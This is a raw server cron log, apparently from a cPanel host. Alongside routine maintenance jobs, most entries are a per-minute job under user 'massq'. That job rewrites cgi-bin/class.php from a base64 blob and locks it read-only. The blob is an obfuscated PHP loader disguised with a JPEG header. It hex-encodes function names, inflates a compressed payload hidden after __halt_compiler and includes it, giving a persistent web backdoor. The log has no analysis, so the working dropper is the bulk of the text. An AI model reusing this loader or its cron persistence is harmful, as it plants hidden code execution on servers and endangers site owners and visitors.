Nov 11 11:23:01 server CROND[26676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:24:01 server CROND[27502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:25:01 server CROND[28331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:25:01 server CROND[28332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:25:01 server CROND[28333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:26:01 server CROND[29357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:27:01 server CROND[30204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 11:27:01 server CROND[30207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:28:01 server CROND[31029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:29:01 server CROND[32023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:30:01 server CROND[400]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 11:30:01 server CROND[401]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:30:01 server CROND[402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:30:01 server CROND[403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:31:01 server CROND[1403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:32:01 server CROND[2219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:33:01 server CROND[3066]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:34:01 server CROND[3581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:35:01 server CROND[4232]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 11:35:01 server CROND[4233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:35:01 server CROND[4234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:35:01 server CROND[4235]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 11:35:01 server CROND[4236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
